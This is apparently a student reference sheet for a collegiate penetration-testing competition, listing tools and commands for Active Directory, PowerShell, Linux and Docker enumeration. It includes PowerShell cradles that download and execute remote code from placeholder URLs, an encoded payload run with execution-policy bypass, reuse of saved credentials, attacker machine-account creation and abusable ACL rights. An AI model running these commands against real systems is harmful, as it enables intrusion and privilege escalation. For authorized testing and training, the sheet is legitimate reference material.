CPTC Reference Sheet

Windows / Active Directory

Tools

Bloodhound CE Install

```
curl -L https://github.com/SpecterOps/BloodHound/raw/main/examples/docker-compose/docker-compose.yml | docker compose -f - up
```

Bloodhound-Python

```
python3 -m pip install bloodhound
```

CrackMapExec

```
python3 -m pip install pipx
python3 -m pipx install crackmapexec
python3 -m pipx ensurepath
```

Rubeus

Ghostpack Binaries

ILSpy (Avalonial)

JAWS

Kerbrute

PowerSploit and PowerMad

```
git clone https://github.com/PowerShellMafia/PowerSploit.git
```

```
git clone https://github.com/Kevin-Robertson/Powermad.git
```

WES-NG

```
python3 -m pip install wesng
wes --update
```

WinPEAS_bat / **WinPEAS_x64** / **WinPEAS_x86** / **WinPEAS_any**

LDAPsearch

Comparison Operations

```
(&(objectClass=Group)(CN=Exchange*)); (|(objectClass=Group)(CN=Exchange*)); (!(&
(objectClass=Group)(CN=Exchange*)))`
```

Dump (No-Auth)

```
ldapsearch -LLL -H ldap://<domain> -x -s base ""
```

Full Dump (Authenticated)

```
ldapsearch -LLL -H ldap://<domain> -x -w <passsword> -D '<user>@<domain>' -b 'DC=
<domain>,DC=<tld>' "(objectClass=*)"
```

Get All Groups / Group Members

```
ldapsearch -LLL -H ldap://<domain> -x -w <passsword> -D '<user>@<domain>' -b 'DC=
<domain>,DC=<tld>'  "(objectClass=Group)" member memberof
```

RPCClient

```
rpcclient -U <user> --password=<password> -c <rpc-command> <host>
```

```
enumdomusers
querydominfo
samlookupnames <domain|builtin> <user>
queryuser <user_RID>
querygroupmem <group_RID>
samlookuprids
```

PowerShell

Pentesting w/ PowerShell

SANS PowerShell Cheat Sheet

Filter Output (Grep-Like)

```
select-string -Pattern '<regex>' | % {$_.matches.value})
```

Download / Execute Files

```
Invoke-WebRequest -uri <url> -outfile <outputfile> # Just Download
```

```
Invoke-Expression (New-Object Net.WebClient).downloadString("<url>")
```

```
$h=New-Object -ComObject Msxml2.XMLHTTP
$h.open('GET','<url>',$false)
$h.send()
iex $h.responseText
```

```
$wr = [System.NET.WebRequest]::Create("<url>")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
```

Mute Web Warning in PowerShell v3+

```
$Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) )
{Get-ChildItem $_ -Recurse | Unblock-File} }
```

Authenticate to Remote SMB Share

```
net use \\<ip>\<share> /user:<user> <password>
```

Transfer Files From Share

```

```

```
ROBOCOPY \\<IP>\<SharePath> <Destination> -E /COPY:DAT

COPY \\<IP>\<SharePath> <Destination>
```

Create PSCredential

```
$user = whoami
$pass = ConvertTo-SecureString '<password>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($user, $pass)
```

B64 Encode / Decode

```
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("myCommand"))
```

```
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JwBt
AHkAUwB0AHIAaQBuAGcAJwA='))
```

Execute B64 Encoded Payload

```
kali> echo -n "IEX(New-Object
Net.WebClient).downloadString('http://<host:port>/<filename>')" | iconv -t > UTF-
16LE | base64 -w0

PS> powershell [-nop] -ep bypass -encodedCommand <Base64>
```

Run PS as Different User *(No profile)*

```
runas /user:<domain>\<user> /noprofile powershell.exe
```

Check for Cached Credentials

```
cmdkey /list
```

Use Saved Credential

```
C:\Windows\System32\runas.exe /user:<Domain>\<Username> /savecred <executable>
```

Enum Local Users

```
Get-LocalUser | ft Name,Enabled,Description,LastLogon
```

List Users Directory

```
Get-ChildItem C:\Users -Force | select Name
```

Enumerate Object ACL

```
Get-Acl -Path "<File or Directory>" | fl
```

Current OS Verison

```
[System.Environment]::OSVersion.Version
```

List All Patches

```
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach
{$_.hotfixid}
```

List Security Patches

```
Get-Hotfix -description "Security update"
```

Check Clipboard

```
Get-Clipboard
```

Check Recycle Bin

```
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
```

PowerView

Get ACL for Object

```
Get-ObjectAcl -Identity "<dn>" -ResolveGUIDs | ? {$_.SecurityIdentifier -match "
<SID>"}`
```

Grant Right to Domain Object

```
Add-DomainObjectAcl -Credential $cred -TargetIdentity "<machine_account>" -Rights
<RIGHT>
```

Get Machine Account SID

```
$ComputerSid = Get-DomainComputer ohno -Properties objectsid | Select -Expand
objectsid
```

PowerMad

Add Machine Account

```
New-MachineAccount -MachineAccount <attacker> -Password $(ConvertTo-SecureString
'<password>' -AsPlainText -Force)
```

Permissions / Policy

ADACLScan

Interesting ACE/DACL

```
GenericAll - full rights to the object (add users to a group or reset user's
password)
GenericWrite - update object's attributes (i.e logon script)
WriteOwner - change object owner to attacker controlled user take over the object
WriteDACL - modify object's ACEs and give attacker full control right over the
object
AllExtendedRights - ability to add user to a group or reset password
ForceChangePassword - ability to change user's password
Self (Self-Membership) - ability to add yourself to a group
```

Linux

Enumeration

LinPEAS

LinEnum

LES

Docker

Enumeration

CDK

AmIContained

DEEPCE

Grype

```
curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s
-- -b <InstallPath>
```